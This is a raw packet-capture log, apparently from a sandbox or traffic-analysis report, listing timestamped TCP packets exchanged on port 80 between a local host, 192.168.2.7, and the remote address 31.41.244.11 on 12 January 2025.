Jan 12, 2025 17:39:12.440259933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440272093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440283060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440295935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440306902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440320015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440320015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440320015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440332890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440346956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440349102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440355062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440366983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440401077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440401077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440404892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440417051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440429926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440442085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440455914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440458059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440458059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440458059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440468073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440490007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440490007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440510035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440524101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440527916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440535069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440546036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440558910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440570116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440582037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440593004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440593004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440602064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440608978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440613985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440625906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440634966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440635920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440649033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440660954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440669060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440669060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440671921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440684080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440696001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440696955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440706968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.440752983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.440752983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469351053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469371080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469393015 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469404936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469415903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469427109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469439030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469450951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469468117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469480038 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469485998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469486952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469486952 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469491005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469507933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469518900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469530106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469542027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469553947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469563961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469573975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469582081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469582081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469582081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469614029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469626904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469636917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469647884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469660044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469670057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469670057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469670057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469672918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469683886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469721079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469731092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469743013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469759941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469759941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469759941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469765902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469778061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469778061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469794989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469806910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469820976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469831944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469842911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469855070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469861984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469861984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469861984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469866037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469877005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469887972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469899893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.469928026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469928026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469928026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.469986916 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471308947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471327066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471339941 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471395016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471396923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471396923 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471426010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471446037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471457958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471471071 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471482992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471486092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471486092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471506119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471520901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471529007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471532106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471543074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471581936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471581936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471581936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471591949 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471602917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471613884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471625090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471637011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471647024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471658945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471682072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471683025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471683025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471750021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471760988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471772909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.471822023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471822023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.471822023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525450945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525515079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525544882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525604010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525640965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525661945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525690079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525707006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525722027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525738001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525743961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525752068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525794983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525795937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525795937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525810003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525824070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525840044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525854111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525867939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525882959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.525908947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525908947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525908947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.525970936 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526129007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526139021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526159048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526169062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526180983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526228905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526231050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526231050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526231050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526238918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526249886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526326895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526326895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526357889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526375055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526386023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526396990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526408911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526417971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526423931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526437044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526473045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526482105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526505947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526508093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526520967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526532888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526539087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526539087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526539087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526547909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526557922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526577950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526585102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526585102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526585102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526596069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526607990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526618004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526624918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526635885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526645899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526664019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526675940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526690006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526690006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526690006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526704073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526715040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526726007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526736975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526747942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526758909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526777983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526786089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526786089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526786089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526788950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526801109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526808023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526822090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526837111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526848078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526859999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526870012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526880026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526885986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526885986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526885986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526890993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526901007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526912928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526926041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526935101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.526973963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526973963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.526973963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555610895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555645943 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555696011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555706978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555730104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555763960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555788040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555788040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555788040 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555797100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555846930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555880070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.555923939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555923939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555923939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.555929899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556019068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556070089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556102037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556107998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556107998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556107998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556139946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556171894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556205034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556211948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556211948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556211948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556237936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556272030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556304932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556309938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556309938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556309938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556338072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556370974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556402922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556406975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556406975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556406975 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556435108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556467056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556494951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556503057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556503057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556503057 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556526899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556560040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556591988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556602001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556602001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556602001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556672096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556705952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556737900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556744099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556744099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556744099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556766987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556797981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556830883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556833982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556833982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556833982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556863070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556895018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556926966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556931019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556931019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556931019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.556960106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.556993008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557027102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557039022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557039022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557039022 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557254076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557389975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557473898 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557523966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557564020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557564020 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557574034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557621002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557672977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.557713032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557713032 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.557713032 CET	49975	80	192.168.2.7	31.41.244.11
